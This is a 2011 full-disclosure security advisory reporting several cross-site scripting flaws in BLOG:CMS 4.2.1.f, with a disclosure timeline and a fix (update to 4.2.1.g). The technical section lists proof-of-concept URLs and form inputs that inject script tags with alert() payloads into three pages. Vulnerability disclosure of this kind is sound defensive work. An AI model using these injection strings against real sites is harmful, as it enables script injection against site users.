[Full-disclosure] Multiple Cross-Site Scripting vulnerabilities in BLOG:CMS

["sschurtz@xxxxxxxxxxx" <sschurtz@xxxxxxxxxxx>]

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Advisory:           Multiple Cross-Site Scripting vulnerabilities in
BLOG:CMS
Advisory ID:        SSCHADV2011-007
Author:             Stefan Schurtz
Affected Software:  Successfully tested on: version 4.2.1.f
Vendor URL:         http://www.blogcms.com
Vendor Status:      resolved
CVE-ID:             -

==========================
Vulnerability Description:
==========================

This is a Cross-Site Scripting vulnerability

==================
Technical Details:
==================

Firefox 3.6.17

http://www.example.com/blogcms/photo/index.php?";<script>alert(0x0029A)</script>
http://www.example.com/blogcms/photo/index.php?";<script>alert('XSS');</script>

http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt=";<script>alert('XSS');</script>
http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt=";<script>alert(0x0029A)</script>

http://www.example.com/blogcms/admin/plugins/mailtoafriend/mailfriend.php

- From [email]: <script>alert('XSS');</script>
To [email]: <script>alert('XSS');</script>
To [name]: <script>alert('XSS');</script>

Firefox 4.0.1 / IE8

http://www.example.com/blogcms/photo/index.php?";</script><script>alert('XSS');</script>
http://www.example.com/blogcms/photo/index.php?";</script><script>alert(0x0029A)</script>

http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt=";</script><script>alert('XSS');</script>
http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt=";</script><script>alert(0x0029A)</script>

http://www.example.com/blogcms/admin/plugins/mailtoafriend/mailfriend.php

- From [email]: </script><script>alert('XSS');</script>
To [email]: </script><script>alert('XSS');</script>
To [name]: </script><script>alert('XSS');</script>

=========
Solution:
=========

Update to the latest version 4.2.1.g

====================
Disclosure Timeline:
====================

03-Jun-2011 - informed developers
03-Jun-2011 - release date of this security advisory
06-Jun-2011 - new version 4.2.1.g released
07-Jun-2011 - post on BugTraq and Full-disclosure

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.blogcms.com
http://www.rul3z.de/advisories/SSCHADV2011-007.txt
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